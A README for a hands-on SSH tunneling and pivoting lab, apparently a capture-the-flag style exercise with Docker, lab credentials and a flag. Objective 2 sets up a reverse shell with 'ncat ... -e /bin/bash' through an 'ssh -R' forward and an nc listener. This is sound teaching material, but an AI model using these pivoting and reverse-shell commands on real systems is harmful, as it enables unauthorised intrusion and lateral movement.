Introduction
| Repo | ⭐ Please give a Star if you enjoyed this lab ⭐ |
|---|---|
| Downloads | |
| Stars | |
| Prerequisites | Docker-ce, mysql-client |
| Difficulty |
This lab demonstrates SSH tunneling and pivoting. You have SSH access to a jump host (pivot) that can reach an internal server; in a real engagement, only the pivot would have that access. You will use local port forwarding (-L) to reach the internal MySQL server through the pivot, and remote port forwarding (-R) to receive a reverse shell from the internal server through the pivot. For more on the concepts, see SSH Tunneling.
Lab Environment
| Description | Hostname | External IP | Internal IP | Port | Credentials |
|---|---|---|---|---|---|
| Jump / Pivot | pivot | 172.26.0.10 | 192.168.50.2 | 22 | pivotuser:PivotPass123 |
| Internal server | internal | — | 192.168.50.10 | 22, 3306 | internaluser:InternalPass123 (SSH), root:MySQLRootPass123 (MySQL) |
Setup
Clone the repository:
git clone https://github.com/rootandbeer/ssh-tunneling-lab
cd ssh-tunneling-lab
Start the environment:
docker compose up -d
Wait for MySQL to be ready (about 30–60 seconds).
Objective 1 – Local Port Forwarding (reach MySQL via pivot)
Goal: Connect your MySQL client to the internal server at 192.168.50.10:3306 by tunneling through the pivot.
How it works: You run ssh -L on your host. That opens port 13306 on your host. When you connect to 127.0.0.1:13306 with the MySQL client, SSH sends that traffic through the tunnel to the pivot, and the pivot connects to 192.168.50.10:3306.
Terminal 1 – Create the local forward.
Leave this session open.
ssh -L 13306:192.168.50.10:3306 -p 22 pivotuser@172.26.0.10 # Password: PivotPass123
Terminal 2 – Connect the MySQL client to the local end of the tunnel:
mysql -h 127.0.0.1 -P 13306 -u root -p # Password: MySQLRootPass123Verify connection:
SHOW DATABASES; USE app; SELECT * FROM credentials;You should see the row with
FLAG{ssh_tunnel_mysql_pivot}.
Summary: Your host (127.0.0.1:13306) → SSH tunnel → pivot → 192.168.50.10:3306 (MySQL).
Objective 2 – Remote Port Forwarding (reverse shell from internal server)
Goal: Get a reverse shell from the internal server (192.168.50.10) to your host by forwarding a listener through the pivot.
How it works: You run nc on your host on port 9444. You run ssh -R so the pivot listens on 4444 and forwards to your host:9444. The internal server connects to the pivot at 192.168.50.2:4444; the pivot sends that through the tunnel to your listener.
This uses 3 terminals:
Terminal 1 - Start the listener. Leave it running.
nc -lvnp 9444
Terminal 2 – Create the remote forward. Leave this session open.
ssh -R 0.0.0.0:4444:127.0.0.1:9444 -p 22 pivotuser@172.26.0.10 # Password: PivotPass123
Terminal 3 – Reach the internal server
First SSH into the pivot host
ssh -p 22 pivotuser@172.26.0.10 # Password: PivotPass123
SSH to the internal serverssh internaluser@192.168.50.10 # Password: InternalPass123
Once connected setup the reverse shell:ncat 192.168.50.2 4444 -e /bin/bash
You should get a shell in terminal 1 where nc -lvnp 9444 is running on your host.
Summary: 192.168.50.10 → 192.168.50.2:4444 (pivot) → SSH tunnel → your host:9444.
Cleanup
Stop and remove the Docker containers:
docker compose down
To remove the MySQL data volume as well:
docker compose down -v
⭐ Please give a Star if you enjoyed this lab ⭐


